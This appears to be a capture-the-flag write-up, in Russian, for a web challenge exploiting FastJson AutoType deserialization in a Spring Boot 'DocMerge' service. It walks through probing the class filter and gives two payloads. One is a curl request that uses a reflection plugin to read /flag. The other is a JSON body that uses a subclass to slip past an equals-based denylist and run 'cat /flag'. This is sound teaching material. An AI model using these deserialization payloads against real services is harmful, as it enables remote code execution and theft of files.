Files
2026-09-17 00:50:07 +03:00

3.8 KiB
Raw Permalink Blame History

DocMerge

Web hard+

DocMerge склеивает документы по JSON-шаблону. Сервис использует Java 17, Spring Boot и FastJson 1.2.83 с включённым AutoType. Самописный фильтр ограничивает классы, которые можно создать при десериализации. Ищем разрешённый плагин, способный прочитать /flag.

Решение

Запрашиваем /api/plugins. В реестре три интересных класса из com.docmerge.plugins: активные ScriptFilter и LegacyExecutorV2, а также отключённый LegacyExecutor.

Тело POST /api/merge проходит через JSON.parseObject(body, MergeJob.class, Feature.SupportAutoType). Ошибки фильтра возвращаются клиенту, поэтому отправляем три запроса вида {"@type":"<имя класса>"} и сравниваем ответы:

Класс Ответ фильтра Вывод
java.lang.Runtime exact denylist match Есть запрет по точному имени
com.docmerge.plugins.NoSuchPlugin Пакет разрешён, класс не найден Имя из пакета com.docmerge.plugins проходит фильтр
java.io.File outside allowlist Чужие пакеты отсекаются

Чтение через ScriptFilter

ScriptFilter вызывает через reflection публичный статический метод с аргументом String. Его список запретов закрывает Runtime и ProcessBuilder, но пропускает com.docmerge.util.PreviewUtil.readFile(String).

Создаём этот фильтр внутри задания:

curl -sS http://<host>:18112/api/merge \
  -H 'Content-Type: application/json' \
  --data '{
    "title":"quarterly-report",
    "documents":["doc one","doc two"],
    "renderer":{"template":"default","filters":[
      {"@type":"com.docmerge.plugins.ScriptFilter",
       "className":"com.docmerge.util.PreviewUtil",
       "methodName":"readFile",
       "argument":"/flag"}
    ]}
  }'

Класс разрешён, метод доступен. В поле render появляется filter output: с содержимым /flag.

Выполнение через LegacyExecutorV2

LegacyExecutorV2 наследует LegacyExecutor, но denylist сравнивает имена через equals. Имя наследника не совпадает с запретом, пакет при этом разрешён. Унаследованный setCommand выполняет shell-команду уже при десериализации:

{
  "title":"t",
  "renderer":{"filters":[
    {"@type":"com.docmerge.plugins.LegacyExecutorV2","command":"cat /flag"}
  ]}
}

Этот запрос к тому же /api/merge возвращает флаг как legacy output. Оба пути используют доступные классы приложения. Фильтр разрешает классы пакета com.docmerge.plugins, блокируя лишь отдельные имена. ScriptFilter и LegacyExecutorV2 под эти запреты не попадают.

Солвер проверяет плагины и фильтр, затем пробует ScriptFilter, а при отсутствии флага переходит к LegacyExecutorV2.

Флаг

CAPLAG{4ut0typ3_d3s3r14l1z3_byp4ss}